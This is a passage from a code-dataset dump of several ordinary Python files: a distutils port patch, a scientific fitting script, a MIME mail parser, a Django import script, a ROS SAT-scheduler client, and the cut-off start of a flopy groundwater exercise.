"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":641,"cells":{"__id__":{"kind":"number","value":15479062177802,"string":"15,479,062,177,802"},"blob_id":{"kind":"string","value":"e1ebf5783c0d18e90b8011d62c531ba96f5900d0"},"directory_id":{"kind":"string","value":"dcb2f8385024c70a6824d482b6cad3cc98318acd"},"path":{"kind":"string","value":"/dports/lang/python22/files/patch-unixccompiler.py"},"content_id":{"kind":"string","value":"415ea9cfaa44cdad2f43b670d63085bcdbc35ba6"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"davilla/xbmc-port-depends"},"repo_url":{"kind":"string","value":"https://github.com/davilla/xbmc-port-depends"},"snapshot_id":{"kind":"string","value":"66b7203529a460c9013fc69b95abbcc7b6c66ea0"},"revision_id":{"kind":"string","value":"f0534a17c49b9f1dae43fe1c1ce3ad9d1f15fc38"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-20T05:07:38.927407","string":"2021-01-20T05:07:38.927407"},"revision_date":{"kind":"timestamp","value":"2010-09-28T22:10:10","string":"2010-09-28T22:10:10"},"committer_date":{"kind":"timestamp","value":"2010-09-28T22:10:10","string":"2010-09-28T22:10:10"},"github_id":{"kind":"number","value":32105751,"string":"32,105,751"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"--- Lib/distutils/unixccompiler.py\tSat May 24 00:34:39 2003\n+++ Lib/distutils/unixccompiler.py.new\tThu Jan 13 20:51:40 2005\n@@ -265,14 +265,7 @@\n # this time, there's no way to determine this information from\n # the configuration data stored in the Python installation, so\n # we use this hack.\n- compiler = os.path.basename(sysconfig.get_config_var(\"CC\"))\n- if sys.platform[:6] == \"darwin\":\n- # MacOSX's linker doesn't understand the -R flag at all\n- return \"-L\" + dir\n- if compiler == \"gcc\" or compiler == \"g++\":\n- return \"-Wl,-R\" + dir\n- else:\n- return \"-R\" + dir\n+ return \"-L\" + dir\n \n def library_option (self, lib):\n return \"-l\" + lib\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2010,"string":"2,010"}}},{"rowIdx":642,"cells":{"__id__":{"kind":"number","value":13537736933490,"string":"13,537,736,933,490"},"blob_id":{"kind":"string","value":"2fcc3413826911a5b9d7f892d43eb18b7318eced"},"directory_id":{"kind":"string","value":"91258423dd64593afb5ae46d748a221d7977cb37"},"path":{"kind":"string","value":"/scripts/fit6_085_h9.py"},"content_id":{"kind":"string","value":"c91110310ba9825892430d7cba0c0da4f4ba6de5"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"kakabori/ripple"},"repo_url":{"kind":"string","value":"https://github.com/kakabori/ripple"},"snapshot_id":{"kind":"string","value":"20bc1054f835ad8b0eed2b761fb046c85784174d"},"revision_id":{"kind":"string","value":"cd6f0541ed799734f86171c497a59d92ce429724"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-05T11:28:08.109571","string":"2016-09-05T11:28:08.109571"},"revision_date":{"kind":"timestamp","value":"2014-10-31T00:56:17","string":"2014-10-31T00:56:17"},"committer_date":{"kind":"timestamp","value":"2014-10-31T00:56:17","string":"2014-10-31T00:56:17"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from ripintensity import *\r\n\r\n# read data to be fitted\r\ninfilename = 'intensity/085_h9_ver4.dat'\r\nh, k, q, I, sigma, combined = read_data_5_columns(infilename)\r\n\r\n###############################################################################\r\n# Work on M2G\r\nm2g = M2G(h, k, q, I, sigma, D=57.8, lambda_r=145.0, gamma=1.714,\r\n x0=90, A=25, f1=1.5, f2=-20, \r\n rho_H1=9.91, Z_H1=20, sigma_H1=2.94,\r\n rho_H2=7.27, Z_H2=20, sigma_H2=1.47, \r\n rho_M=10.91, sigma_M=1.83, psi=0.1, common_scale=3)\r\n#m2g.set_combined_peaks(combined)\r\n#m2g.fit_lattice()\r\nm2g.edp_par['f2'].vary = True\r\nm2g.edp_par['rho_H1'].vary = False\r\nm2g.edp_par['sigma_H1'].vary = False\r\nm2g.edp_par['rho_H2'].vary = False\r\nm2g.edp_par['sigma_H2'].vary = False\r\nm2g.edp_par['rho_M'].vary = False\r\nm2g.edp_par['sigma_M'].vary = False\r\nm2g.fit_edp()\r\n \r\nm2g.edp_par['rho_H1'].vary = True\r\nm2g.edp_par['rho_H2'].vary = True\r\nm2g.edp_par['rho_M'].vary = True\r\nm2g.fit_edp()\r\n\r\nm2g.report_edp()\r\n#m2g.export_model_F(\"fits/fit6_F.txt\")\r\n#m2g.export_model_I(\"fits/fit6_I.txt\")\r\n#m2g.export_2D_edp(\"fits/fit6_2D_edp.txt\")\r\n#m2g.export_params(\"fits/fit6_params.txt\")\r\n#m2g.export_angle(\"fits/fit6_1D_major.txt\", center=(0,0), angle=-11.8, length=100, stepsize=0.1)\r\n#m2g.export_angle(\"fits/fit6_1D_minor.txt\", center=(72.5,0), angle=27.1, length=100, stepsize=0.1)\r\nm2g.export_headgroup_positions(\"fits/fit6_headgroup.txt\")\r\nm2g.export_phases(\"fits/fit6_phases.txt\")\r\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":643,"cells":{"__id__":{"kind":"number","value":12661563619956,"string":"12,661,563,619,956"},"blob_id":{"kind":"string","value":"7c1fa9422c3f1835f504a8e1e4993948c9d8130f"},"directory_id":{"kind":"string","value":"e250ee104f58f35463a17518a0fb352c44505e28"},"path":{"kind":"string","value":"/src/MailParser/Mail_Parser.py"},"content_id":{"kind":"string","value":"e450f2071daf5dd00e7682454dee0121cc62c948"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"Mass90/MailServer_EF"},"repo_url":{"kind":"string","value":"https://github.com/Mass90/MailServer_EF"},"snapshot_id":{"kind":"string","value":"2d0bcec65c7a33026970c76b31faae0cf5c04f1c"},"revision_id":{"kind":"string","value":"684415c736e1a76063e790990b2ffd4217026c27"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-06T11:50:35.994415","string":"2016-09-06T11:50:35.994415"},"revision_date":{"kind":"timestamp","value":"2014-05-19T01:58:28","string":"2014-05-19T01:58:28"},"committer_date":{"kind":"timestamp","value":"2014-05-19T01:58:28","string":"2014-05-19T01:58:28"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"\"\"\"E-Mail parser for files written with MIME specs. \n @version: 0.1\"\"\"\n\nimport re\nfrom cStringIO import StringIO\n\nclass Mail:\n\t\"\"\"E-Mail Abstraction to analyze and represent the information contained in a mail input file.\"\"\" \n\n\t\n\tmime_version = None #:MIME Version of the mail. Return None if version not found.\n\tattachments = [] #:All the contents attachments in the mail.\n\t\n\tregex_content_type = re.compile(\"Content-Type: ([a-zA-Z/]+);?\")#:Regular expresion to search the content type in the attachment header.\n\tregex_mime_version = re.compile(\"MIME-Version: *([0-9]+[.0-9]*)\")#:Regular expresion to search the MIME version of the mail.\n\tregex_boundary = re.compile(\"boundary=\\\"?([a-z0-9A-Z-_]+)\\\"?\")#:Regular expresion to search the boundaries in the attachment header.\n\tregex_boundary_end = re.compile(\"(--[-_]*[a-z0-9A-Z]+[a-z0-9A-Z-_]+--)\")#:Regular expresion to know if a boundary is of type end.\n\tregex_boundary_begin = re.compile(\"(--[-_]*[a-z0-9A-Z]+[a-z0-9A-Z-_]+)\")#:Regular expresion to know if a boundary is of type begin.\n\tregex_charset = re.compile(\"charset=\\\"?([a-zA-Z-0-9]+)\\\"?[;]?\")#:Regular expresion to search the charset in the attachment header.\n\tregex_filename = re.compile(\"filename=\\\"([a-zA-Z-_.0-9 ]+)\\\"[;]?\")#:Regular expresion to search the filename in the attachment header.\n\tregex_name = re.compile(\"name=\\\"?([a-zA-Z-_.0-9 ]+)\\\"?[;]?\")#:Regular expresion to search the name in the attachment header.\n\tregex_encoding = re.compile(\"Content-Transfer-Encoding: ([a-zA-Z/0-9-_]+[;]*);?\")#:Regular expresion to search the encoding in the attachment header.\n\n\tclass Attachment:\n\t\t\"\"\"Content abstraction that represent the content and data of a mail attachment.\"\"\" \n\t\tcontent_type = None#:Respresent the value of Content-Type.\n\t\tcharset = None#:Respresent the value of charset.\n\t\tname = None#:Respresent the value of name.\n\t\tfile_name = None#:Respresent the value of filename.\n\t\tcontent_transfer_encoding = None#:Respresent the value of Content-Transfer-Encoding.\n\t\tcontent_disposition = None#:Respresent the value of Content-Disposition.\n\t\tcontent = None#:Content of the attachment.\n\n\tdef __init__ (self, mail_data):\n\t\t\"\"\"Constructor that analyzes email content and renders it in the Mail object.\n\t\t\t@param mail_data: Mail to parse\n \t\t\t@type mail_data: str or file\"\"\" \n\t\t\n\t\tEOF = None\n\t\tmail_line = None\n\t\tmail_size = None\n\n\t\tinput_type = type(mail_data)\n\t\tif input_type is str:\n\t\t\tmail_data = StringIO(mail_data)\n\t\t\tEOF = lambda: True if mail_line == \"\" else False\n\n\t\telif input_type is file:\n\t\t\timport os\n\t\t\tmail_size = os.path.getsize (mail_data.name) \n\t\t\tEOF = lambda: True if mail_data.tell() >= mail_size else False\n\n\t\telse:\n\t\t\traise \"Error: Wrong input type\"\n\t\t\n\t\tlast_boundary_type = \"none\"\n\t\t\n\n\t\twhile not EOF():\n\n\t\t\tmail_line = mail_data.readline()\n\n\t\t\tif self.mime_version is None:\t\n\t\t\t\tself.mime_version = self.get_info(self.regex_mime_version, mail_line)\n\n\t\t\tif last_boundary_type == \"begin\":\n\t\t\t\twhile mail_line != \"\\n\" and not EOF():\n\n\t\t\t\t\tcontent_type = self.get_info(self.regex_content_type, mail_line)\n\t\t\t\t\tif content_type == \"multipart/alternative\" or content_type == \"multipart/mixed\":\n\t\t\t\t\t\tbreak\n\t\t\t\t\t\n\t\t\t\t\tattachment = self.Attachment()\n\t\t\t\t\tattachment.content = StringIO()\t\n\t\t\t\t\tattachment_parsed = False\n\t\t\t\t\twhile not attachment_parsed:\n\t\t\t\t\t\tif attachment.charset is None:\n\t\t\t\t\t\t\tattachment.charset = self.get_info(self.regex_charset, mail_line)\n\n\t\t\t\t\t\tif attachment.file_name is None:\n\t\t\t\t\t\t\tattachment.file_name = self.get_info(self.regex_filename, mail_line)\t\n\n\t\t\t\t\t\tif attachment.name is None:\n\t\t\t\t\t\t\tattachment.name = self.get_info(self.regex_name, mail_line)\t\n\t\n\t\t\t\t\t\tif attachment.content_transfer_encoding is None:\n\t\t\t\t\t\t\tattachment.content_transfer_encoding = self.get_info(self.regex_encoding, mail_line)\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tif mail_line == \"\\n\":\n\t\t\t\t\t\t\tlast_boundary_type = \"none\"\n\t\t\t\t\t\t\twhile last_boundary_type == \"none\":\n\t\t\t\t\t\t\t\tmail_line = mail_data.readline()\n\t\t\t\t\t\t\t\tlast_boundary_type = self.get_boundary_type(mail_line)\n\t\t\t\t\t\t\t\tif last_boundary_type == \"none\":\n\t\t\t\t\t\t\t\t\tattachment.content.write(mail_line) \n\n\t\t\t\t\t\t\tattachment_parsed = True\n\t\t\t\t\t\t\tself.attachments.append(attachment)\n\n\t\t\t\t\t\tif not attachment_parsed:\n\t\t\t\t\t\t\tmail_line = mail_data.readline()\n\t\t\t\t\t\n\t\t\t\t\tmail_line = mail_data.readline()\n\n\n\n\t\t\tlast_boundary_type = self.get_boundary_type(mail_line)\n\t\t\t\n\t\t\n\t\tmail_data.close()\n\t\t\n\n\t@staticmethod\n\tdef get_info(regex, mail_line):\n\t\t\"\"\"Get the info returned in a regular expresion search.\n\t\t\t@param regex: Regular expresion compile\n \t\t\t@type regex: re\n\t\t\t@param mail_line: mail_line to analize to search the info\n\t\t\t@type mail_line: str\"\"\" \n\t\tinfo = regex.search(mail_line) \n\t\treturn info.groups()[0] if info != None else None \n\t\n\t@classmethod\n\tdef get_boundary_type(self, data):\n\t\t\"\"\"Analize a boundarie and return the its type.\n\t\t\t@param data: Regular expresion compile\n \t\t\t@type data: re\"\"\"\n\t\tboundary = self.regex_boundary_end.search(data)\n\t\tif boundary != None:\n\t\t\treturn \"end\"\n\n\t\tboundary = self.regex_boundary_begin.search(data)\n\t\tif boundary != None:\n\t\t\treturn \"begin\"\n\n\t\treturn \"none\"\n\t\nif __name__ == \"__main__\":\n\t\n\timport sys\n\tif len(sys.argv) != 2:\n\t\tprint \"Arguments invalid:\\nExpected: python Mail_Server.py [File path]\"\n\telse:\n\t\tmail = open(sys.argv[1], \"r\")\n\t\tmail_data = mail.read()\n\t\tprint \"Mail to parse: \", mail.name\n\t\tprint \"Size: \", len(mail_data)\n\t\tmail_info = Mail(mail_data)\n\n\t\tprint \"Mail info\"\n\t\tprint \"Mime version: \", mail_info.mime_version\n\t\tprint \"\\n\"\n\t\tfor attach in mail_info.attachments:\n\t\t\tprint \"File name: \", attach.file_name\n\t\t\tprint \"Name: \", attach.name\n\t\t\tprint \"Charset: \", attach.charset\n\t\t\tprint \"Encode name: \", attach.content_transfer_encoding\n\t\t\tprint \"Content: \", len(attach.content.getvalue())\n\t\t\tprint \"\\n\"\n\n\t\t\tif not (attach.file_name is None):\n\t\t\t\tf = open(attach.file_name, 'w')\n\t\t\t\tf.write(attach.content.getvalue().decode('base64','strict'))\n\n\t\t\tif not (attach.name is None):\n\t\t\t\tf = open(attach.name, 'w')\n\t\t\t\tf.write(attach.content.getvalue().decode('base64','strict'))\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":644,"cells":{"__id__":{"kind":"number","value":5952824675768,"string":"5,952,824,675,768"},"blob_id":{"kind":"string","value":"ff4285fee30453f91bd1733b7f12488a4cc8de80"},"directory_id":{"kind":"string","value":"5225ccc7c39baceab5ac78942610ee38dedebd21"},"path":{"kind":"string","value":"/webapp/import_paragraphs.py"},"content_id":{"kind":"string","value":"7fa2c8f93c25126b83091f0135b2883dac625c11"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"Horrendus/aic13"},"repo_url":{"kind":"string","value":"https://github.com/Horrendus/aic13"},"snapshot_id":{"kind":"string","value":"b1e758a27c88739f1b401fcd1a0c9341a72fab2e"},"revision_id":{"kind":"string","value":"661a1da06166d1d2190e242d644148d6bb8d1c85"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-03-01T00:32:20.840406","string":"2020-03-01T00:32:20.840406"},"revision_date":{"kind":"timestamp","value":"2014-01-31T09:15:39","string":"2014-01-31T09:15:39"},"committer_date":{"kind":"timestamp","value":"2014-01-31T09:15:39","string":"2014-01-31T09:15:39"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from REST.models import Paragraph\nimport json\nimport sys\n\nfile = open(\"exported_paragraphs.txt\",\"r\")\ndata = file.read()\nfile.close()\ndata = json.loads(data,\"ascii\")\nparagraphs = 0\ncounter = 0\nprint(\"Importing paragraphs...\")\nfor x in data:\n counter += 1\n if len(Paragraph.objects.filter(text = x['text'])) == 0:\n Paragraph.objects.create(yahoo_id=x['yahoo_id'], text=x['text'], pub_date = x['pub_date']).save()\n paragraphs += 1\n sys.stdout.write(\"\\r%.2f%%\" % (100*float(counter)/float(len(data))))\n sys.stdout.flush()\n\nprint(\"Imported %d paragraphs\" % paragraphs)\nprint(\"Paragraphs in db: %d\" % Paragraph.objects.count())\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":645,"cells":{"__id__":{"kind":"number","value":16612933526096,"string":"16,612,933,526,096"},"blob_id":{"kind":"string","value":"beccffbafed264d0c2e8abaa0cdebc272103ff09"},"directory_id":{"kind":"string","value":"15b2f2ed350644c64be3e35200c7288ff3ac5636"},"path":{"kind":"string","value":"/src/SATModelerAPISara.py"},"content_id":{"kind":"string","value":"faa0d1b48e622d7a424591043aa464e5bd484661"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"SkylerPeterson/ROS-SAT-Schedule-Solver"},"repo_url":{"kind":"string","value":"https://github.com/SkylerPeterson/ROS-SAT-Schedule-Solver"},"snapshot_id":{"kind":"string","value":"eda79164dcfbde2b49176f9fc1c52ea7efd188d0"},"revision_id":{"kind":"string","value":"1bb14358dd1fd6d44ca63bb8950a5d96dd828703"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-08T02:40:55.679588","string":"2016-09-08T02:40:55.679588"},"revision_date":{"kind":"timestamp","value":"2014-12-09T00:05:09","string":"2014-12-09T00:05:09"},"committer_date":{"kind":"timestamp","value":"2014-12-09T00:05:09","string":"2014-12-09T00:05:09"},"github_id":{"kind":"number","value":26577751,"string":"26,577,751"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"bool","value":false,"string":"false"},"gha_event_created_at":{"kind":"timestamp","value":"2014-12-05T19:05:12","string":"2014-12-05T19:05:12"},"gha_created_at":{"kind":"timestamp","value":"2014-11-13T08:13:51","string":"2014-11-13T08:13:51"},"gha_updated_at":{"kind":"timestamp","value":"2014-12-05T19:05:12","string":"2014-12-05T19:05:12"},"gha_pushed_at":{"kind":"timestamp","value":"2014-12-05T19:05:11","string":"2014-12-05T19:05:11"},"gha_size":{"kind":"number","value":292,"string":"292"},"gha_stargazers_count":{"kind":"number","value":0,"string":"0"},"gha_forks_count":{"kind":"number","value":0,"string":"0"},"gha_open_issues_count":{"kind":"number","value":0,"string":"0"},"gha_language":{"kind":"string","value":"Python"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\nimport roslib\nroslib.load_manifest('rospy')\n\nimport rospy\nimport rospkg\nfrom sat_schedule_solver.srv import (\n SAT_Scheduler,\n SAT_SchedulerRequest,\n ScheduleAllQueryJobs,\n ScheduleAllQueryJobsResponse\n)\nfrom sat_schedule_solver.msg import (\n datetimemsg\n)\nfrom SATModeler import readDatetimeMsg\nfrom sara_queryjob_manager.msg import (\n QueryJobStatus, QueryJobUpdate\n)\nfrom datetime import datetime\nfrom time import time, mktime\nfrom pytz import utc\nfrom pymongo import MongoClient\nimport csv\nimport sys\n\nRECEIVED = QueryJobStatus.RECEIVED\nSCHEDULED = QueryJobStatus.SCHEDULED\nRUNNING = QueryJobStatus.RUNNING\nSUCCEEDED = QueryJobStatus.SUCCEEDED\nCANCELLED = QueryJobStatus.CANCELLED\nFAILED = QueryJobStatus.FAILED\nABORTED = QueryJobStatus.ABORTED\n\nclass SATModelerAPISara():\n def __init__(self):\n rospy.init_node('SATModelerAPISara', anonymous=True)\n # Connect to DB.\n dbname = rospy.get_param(\"~dbname\", \"sara_uw_website\")\n collname = rospy.get_param(\"~collname\", \"queryjobs\")\n connection = MongoClient()\n self._collection = connection[dbname][collname]\n # Setup services and messages\n rospy.wait_for_service('/SAT_Scheduler')\n self.SAT_Scheduler_Service = rospy.ServiceProxy('/SAT_Scheduler', SAT_Scheduler)\n srvModeler = rospy.Service('/sat_scheduler_API',\n ScheduleAllQueryJobs,\n self.handleDBJobUpdateRequest)\n self._pub = rospy.Publisher('/queryjob_update', QueryJobUpdate, queue_size=10000)\n # Initialize variables\n self.sequence = 0\n print \"SATModelerAPISara is running\"\n rospy.spin()\n \n def handleDBJobUpdateRequest(self, req):\n resp = ScheduleAllQueryJobsResponse()\n resp.header = req.header\n try:\n jobList = self.getAllJobsFromDB()\n acceptedJobs, cancelledJobs = self.scheduleJobs(jobList)\n self.publishUpdates(acceptedJobs, cancelledJobs)\n resp.success = True\n except:\n rospy.logerr(\"Error while scheduling results:\", sys.exc_info()[0])\n resp.success = False\n \n return resp\n \n def publishUpdates(self, acceptedJobList, cancelledJobList):\n order = 1 # order starts from 1\n for q in acceptedJobList:\n queryjob_id = q[\"_id\"]\n query = {\"_id\": queryjob_id}\n if self._collection.find(query):\n update = {\"$set\": {\n \"order\": order,\n \"status\": SCHEDULED\n }}\n if not self._collection.find_and_modify(query, update):\n rospy.logerr(\"Error while writing schedule results!\")\n rospy.signal_shutdown(\"Bye!\")\n else:\n rospy.logerr(\"Error while writing schedule results!\")\n rospy.signal_shutdown(\"Bye!\")\n\n # Notify updates.\n msg = QueryJobUpdate()\n msg.queryjob_id = str(queryjob_id)\n msg.field_names = [\"order\", \"status\"]\n self._pub.publish(msg)\n\n order += 1\n \n for q in cancelledJobList:\n queryjob_id = q[\"_id\"]\n query = {\"_id\": queryjob_id}\n update = {\"$set\": {\n \"order\": -1,\n \"status\": CANCELLED\n }}\n if not self._collection.find_and_modify(query, update):\n rospy.logerr(\"Error while writing schedule results!\")\n rospy.signal_shutdown(\"Bye!\")\n\n # Notify updates.\n msg = QueryJobUpdate()\n msg.queryjob_id = str(queryjob_id)\n msg.field_names = [\"order\", \"status\"]\n self._pub.publish(msg)\n \n \n def scheduleJobs(self, rawJobList):\n count = 0\n outMsg = SAT_SchedulerRequest()\n outMsg.header.seq = self.sequence\n outMsg.header.stamp = rospy.Time.now()\n outMsg.header.frame_id = \"/SAT/Scheduler/Input\"\n \n self.sequence += 1\n jobIDsList = []\n startTimesList = []\n endTimesList = []\n prioritiesList = []\n locationsList = []\n taskIDList = []\n newJobList = []\n for job in rawJobList:\n jobIDsList.append(str(job['_id']))\n startTimesList.append(generateDatetimeMsg(job['timeissued']))\n endTimesList.append(generateDatetimeMsg(job['deadline']))\n prioritiesList.append(job['priority'])\n locationsList.append(job['location'])\n taskIDList.append(job['taskId'])\n newJobList.append(job)\n count += 1\n \n outMsg.numConstraints = count\n outMsg.jobID = jobIDsList\n outMsg.startTimes = startTimesList\n outMsg.endTimes = endTimesList\n outMsg.priority = prioritiesList\n outMsg.location = locationsList\n outMsg.taskId = taskIDList\n \n try:\n resp = self.SAT_Scheduler_Service(outMsg)\n except rospy.ServiceException, e:\n print \"Service call failed: %s\"%e\n \n acceptedJobList = []\n cancelledJobList = []\n for i in range(0, resp.numJobsAccepted):\n if (resp.acceptedJobID[i].split(':')[0] == 'wait'):\n self._collection.insert({\"endtime\": readDatetimeMsg(resp.jobEndTime[i]),\n \"taskId\": resp.acceptedJobID[i]})\n acceptedJobList.append(self._collection.find({\"taskId\": resp.acceptedJobID[i]})[0])\n continue\n found = False\n for job in newJobList:\n if (resp.acceptedJobID[i] == str(job['_id'])):\n acceptedJobList.append(job)\n found = True\n break\n if not found:\n cancelledJobList.append(job)\n return acceptedJobList, cancelledJobList\n \n def getAllJobsFromDB(self):\n # Set current running job to scheduled (let be rescheduled)\n self._collection.find_and_modify(\n {\"status\": RUNNING},\n {\"$set\": {\"status\": RECEIVED,\n \"timecompleted\": datetime.utcnow().replace(tzinfo=utc)}}\n )\n # Get all recieved, scheduled, and aborted tasks\n query = {\"$or\": [{\"status\": RECEIVED}, {\"status\": SCHEDULED}, {\"status\": ABORTED}]}\n qr = self._collection.find(query)\n return qr\n \n def confirmResult(self, resp):\n print resp\n\ndef generateDatetimeMsg(dt):\n \"\"\"\n Returns a message from the datetime given.\n \"\"\"\n dtMsg = datetimemsg()\n dtMsg.year = dt.year\n dtMsg.month = dt.month\n dtMsg.day = dt.day\n dtMsg.hour = dt.hour\n dtMsg.minute = dt.minute\n dtMsg.second = dt.second\n dtMsg.microsecond = dt.microsecond\n return dtMsg\n \nif __name__ == '__main__':\n rospack = rospkg.RosPack()\n apiDriver = SATModelerAPISara()\n \n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":646,"cells":{"__id__":{"kind":"number","value":10110353044069,"string":"10,110,353,044,069"},"blob_id":{"kind":"string","value":"862ef82e01dc7d14b1174856d323465d74e9de70"},"directory_id":{"kind":"string","value":"d0397d5d8a7a8b6ee9e03a874b4be09c9cee056f"},"path":{"kind":"string","value":"/EXERCISES/Flopy/workdir/Ex1.py"},"content_id":{"kind":"string","value":"ab30e4931b645893f103423c1f901ebee1ecd887"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"jdhughes/PyClassMat"},"repo_url":{"kind":"string","value":"https://github.com/jdhughes/PyClassMat"},"snapshot_id":{"kind":"string","value":"971df3b46cee45426f09047347e67e0bbf0e203f"},"revision_id":{"kind":"string","value":"7b9a912d3cac0385a7cb56479141b781d1dc67da"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-21T09:55:50.333820","string":"2021-01-21T09:55:50.333820"},"revision_date":{"kind":"timestamp","value":"2012-08-09T17:08:26","string":"2012-08-09T17:08:26"},"committer_date":{"kind":"timestamp","value":"2012-08-09T17:08:26","string":"2012-08-09T17:08:26"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#Import packages\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport sys\nfrom subprocess import Popen\n\n\n#Add flopy to the path and then import it\nflopypath = '..\\\\flopy'\nif flopypath not in sys.path:\n sys.path.append(flopypath)\nfrom mf import *\nfrom mfreadbinaries import mfhdsread, mfcbcread\n\n#Grid and model information\nnlay = 1\nncol = 21\nnrow = 21\nLx = 19200.0\nLy = 19200.0\ntop = 0.0\nbot = -100.0\nkh = 1.00\nkv = 1.00\nss = 1.0e-04\nsy = 0.1\ndelr = Lx / float(ncol - 1)\ndelc = Ly / float(nrow - 1)\nitem3 = [[1,0,1,0]]\nlaytyp = 0\nh1 = 48.\nh2 = 40.\nQwell = -1000.\n\n#Solver information\nmxiter=100\niter1=50\nhclose = 1.e-4\nrclose = 1.e-2\n\n#Temporal information\nnper = 1\nperlen = [1.0]\nnstp = 